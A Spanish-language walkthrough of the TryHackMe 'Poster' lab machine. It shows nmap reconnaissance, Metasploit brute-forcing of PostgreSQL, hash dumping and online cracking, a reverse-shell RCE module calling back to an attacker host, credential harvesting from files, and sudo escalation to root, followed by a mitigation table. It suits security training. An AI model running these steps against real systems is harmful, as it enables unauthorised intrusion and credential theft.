Poster - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
Poster - TryHackMe

📚 Esta publicación pertenece a la colección:

Poster - TryHackMe Walkthrough

Bienvenido a mi writeup de Poster de TryHackMe. Una máquina de dificultad fácil que se enfoca en la explotación de una base de datos PostgreSQL expuesta en red. La cadena de ataque progresa desde bruteforce de credenciales en PostgreSQL, crackeo de hashes MD5, ejecución remota de comandos via Metasploit, y múltiples pivoting entre usuarios hasta alcanzar root a través de sudoers mal configurado.

Room: Poster
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root

🎯 Información del Objetivo

IP Target: 10.112.140.65

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Comienzo verificando si la máquina está activa:

ping -c1 10.112.140.65
▶ output
64 bytes from 10.112.140.65: icmp_seq=1 ttl=62 time=47.3 ms

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

La máquina responde con TTL=62, indicando que estamos ante un sistema Linux.

Escaneo de Puertos

Realizo un escaneo amplio para identificar puertos abiertos:

nmap -p- --open --min-rate 5000 -sS -Pn -n 10.112.140.65
  • -p- → Escanea todos los 65535 puertos
  • --open → Muestra solo puertos abiertos
  • --min-rate 5000 → Mínimo 5000 paquetes por segundo
  • -sS → SYN scan (stealth)
  • -Pn → Sin ping previo
  • -n → Sin resolución DNS
▶ output
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5432/tcp open  postgresql

Encuentro tres puertos abiertos: SSH, HTTP y PostgreSQL. Realizo escaneo detallado de versiones:

nmap -p22,80,5432 -sCV 10.112.140.65
  • -sC → Scripts NSE por defecto
  • -sV → Detección de versiones
▶ output
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Poster CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
5432/tcp open  postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-07-29T00:54:25
|_Not valid after:  2030-07-27T00:54:25

El mapa de servicios:

  • Puerto 22 → SSH (OpenSSH 7.2p2)
  • Puerto 80 → HTTP (Apache 2.4.18) — "Poster CMS"
  • Puerto 5432 → PostgreSQL 9.5 — Expuesto en red 🚨

La presencia de PostgreSQL expuesto en red puede ser interesante.

📁 Fase 2: Enumeración

Exploración del Sitio Web

Accedo al puerto 80 para ver qué hay en la página principal:

Página web Poster CMS

Veo un formulario simple para introducir un email. No encuentro:

  • robots.txt
  • Cookies relevantes
  • Comentarios en el código fuente
  • Directorios enumerable obvios

La página parecerce ser un simple formulario sin lógica explotable evidente.

Intento: Enumeración Web Inicial

Intento enumerar directorios y archivos comunes:

gobuster dir -u http://10.112.140.65 -w /usr/share/wordlists/dirb/common.txt

No descubro nada interesante. Esto sugiere que la explotación no viene por la web tradicional.

Enfoque en PostgreSQL

PostgreSQL está abierto directamente en red, lo que es inusual y peligroso. Es probable que esta sea la vía de ataque. Procedo a enumerar este servicio antes de continuar con web fuzzing.

🔓 Fase 3: Explotación PostgreSQL

Bruteforce de Credenciales PostgreSQL

La room sugiere usar Metasploit. Accedo a msfconsole y busco un módulo para bruteforce en PostgreSQL:

use auxiliary/scanner/postgres/postgres_login
set RHOSTS 10.112.140.65
run

Bruteforce PostgreSQL

Rápidamente obtengo credenciales válidas:

Username: postgres
Password: password

Obtención de Información de la Base de Datos

Con credenciales válidas, utilizo otro módulo en metasploit para ejecutar comandos SQL:

use auxiliary/admin/postgres/postgres_sql
set RHOSTS 10.112.140.65
set USERNAME postgres
set PASSWORD password
set SQL select version()
run
▶ output
PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit

Confirmo el acceso a la base de datos.

Extracción de Hashes de Usuarios

Utilizo el módulo de dumping de hashes PostgreSQL:

use auxiliary/scanner/postgres/postgres_hashdump
set RHOSTS 10.112.140.65
set USERNAME postgres
set PASSWORD password
run

Obtengo los siguientes hashes:

darkstart :  md58842b99375db43e9fdf238753623a27d
poster    :  md578fb805c7412ae597b399844a54cce0a
postgres  :  md532e12f215ba27cb750c9e093ce4b5127
sistemas  :  md5f7dbc0d5a06653e74da6b1af9290ee2b
ti        :  md57af9ac4c593e9e4f275576e13f935579
tryhackme :  md503aab1165001c8f8ccae31a8824efddc

Genial, he conseguido 6 hashes diferentes. Viendo el formato deduzco que son hashes MD5.

Necesito pasar estos hashes a texto plano. Puedo usar tanto herramientas en local como hashcat o JohnTheRipper, pero primero siempre me gusta probar por herramientas online de Rainbow databases como Crackstation o Hashes.com

Crackeo de Hashes MD5

Voy a intentar crackearlos con múltiples recursos online para tener mayor cobertura.

Intento 1: Crackstation

Resultado Crackstation

Crackstation solo resuelve uno de los hashes:

  • posterbatmanposter

Intento 2: Hashes.com

Resultado Hashes.com

Con una segunda opinión de Hashes.com obtengo más resultados:

  • darkstartqwertydarkstart
  • posterbatmanposter
  • postgrespasswordpostgres
  • tiabcd1234ti

Intento 3: MD5Decrypt

Resultado MD5Decrypt

MD5Decrypt me devuelve también algunos hashes, pero no todos.

Ejecución Remota de Comandos PostgreSQL

Ya tengo más usuarios para poder conectarme a la base de datos. Utilizo un módulo de Metasploit que permite ejecutar comandos en el sistema:

use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
set RHOSTS 10.112.140.65
set USERNAME postgres
set PASSWORD password
set LHOST 192.168.139.157
set LPORT 4455
run

Rápidamente obtengo una reverse shell como el usuario postgres.

Stabilización de la Shell

Realizo tratamiento de TTY para tener una shell funcional:

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm

Verifico mi usuario:

id
▶ output
uid=108(postgres) gid=112(postgres) groups=112(postgres)

Estoy como usuario postgres en el servidor.

🚀 Fase 4: Post-Explotación

Pivoting de usuario

El usuario postgres no tiene grandes privilegios, por lo que busco la forma de pivotar a otros usuarios.

Busco información en el sistema pero no encuentro nada relevante, hasta que me da por mirar en los directorios de trabajo.

En el directorio home veo un directorio de trabajo del usuario dark. Tengo permisos de lectura, por lo que entro y encuentro un archivo de credenciales:

cat /home/dark/credentials.txt
▶ output
dark:qwerty1234#!hackme

Intento pivotar al usuario dark:

su dark

Ingreso la contraseña y obtengo acceso como usuario dark.

Siendo usuario dark, veo que el usuario alison tiene en su directorio de trabajo un archivo user.txt, pero que no tengo permisos de lectura para ver su contenido.

Pivoting de usuario 2

Necesito explorar el sistema y pivotar al usuario alison.

Tras un rato de explorando el sistema, caigo en que podría explorar el servicio web en busca de pistas.

Investigo el directorio de la aplicación web en /var/www/html:

ls -la /var/www/html/

Encuentro un archivo config.php interesante:

cat /var/www/html/config.php

Contenido config.php

¡Excelente! Encuentro credenciales para usuario alison:

  • Usuario: alison
  • Contraseña: p4ssw0rdS3cur3!#

Intento pivotar a este usuario ejecutando su alison e introduciendo las credenciales encontradas.

su alison

¡Éxito! Estoy como usuaria Alison. Ya puedo leer la user flag.

🚩 User Flag

Ahora que soy usuario alison, puedo leer la flag en su directorio home:

cat /home/alison/user.txt

⬆️ Escalada de Privilegios

Compruebo los permisos de sudo para el usuario alison:

sudo -l
▶ output
User alison may run the following commands on ubuntu:
  (ALL : ALL) ALL

El usuario alison puede ejecutar cualquier comando como root sin restricciones. Es una escalada directa:

sudo su

Obtengo una shell como root.

🚩 Root Flag

Accedo a la flag de root:

cat /root/root.txt

Flag de root capturada.

📊 Resumen

Cadena de Ataque

nmap 3 puertos (SSH, HTTP, PostgreSQL) → PostgreSQL expuesto → Metasploit bruteforce credenciales → Extracción hashes MD5 usuarios → Crackeo online → Metasploit RCE → Reverse shell como postgres → Pivoting dark → Pivoting alison → sudo -l (ALL:ALL) → root

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y versiones
  • Metasploit Framework — Bruteforce PostgreSQL, dumping hashes, RCE
  • Crackstation — Crackeo de hashes MD5 online
  • Hashes.com — Crackeo alternativo de hashes
  • MD5Decrypt — Tercer servicio de crackeo para confirmación
  • netcat — Reverse shell listener

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
PostgreSQL expuesto directamente en redCRÍTICAFirewalls; restringir acceso a base de datos; limitar a localhost
Credenciales por débiles en PostgreSQLCRÍTICACambiar contraseña por defecto; usar credenciales fuertes
Hashes MD5 para almacenar contraseñasCRÍTICAUsar algoritmos modernos como Argon2 o bcrypt
Credenciales en código fuenteALTAUsar variables de entorno; gestores de secretos; nunca versionar credenciales
Credenciales en archivos de texto plano en homeALTAUsar gestores de secretos; permisos restrictivos en archivos
Usuario alison con sudoers (ALL:ALL)CRÍTICAUsar principio de menor privilegio; segmentar permisos sudo

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.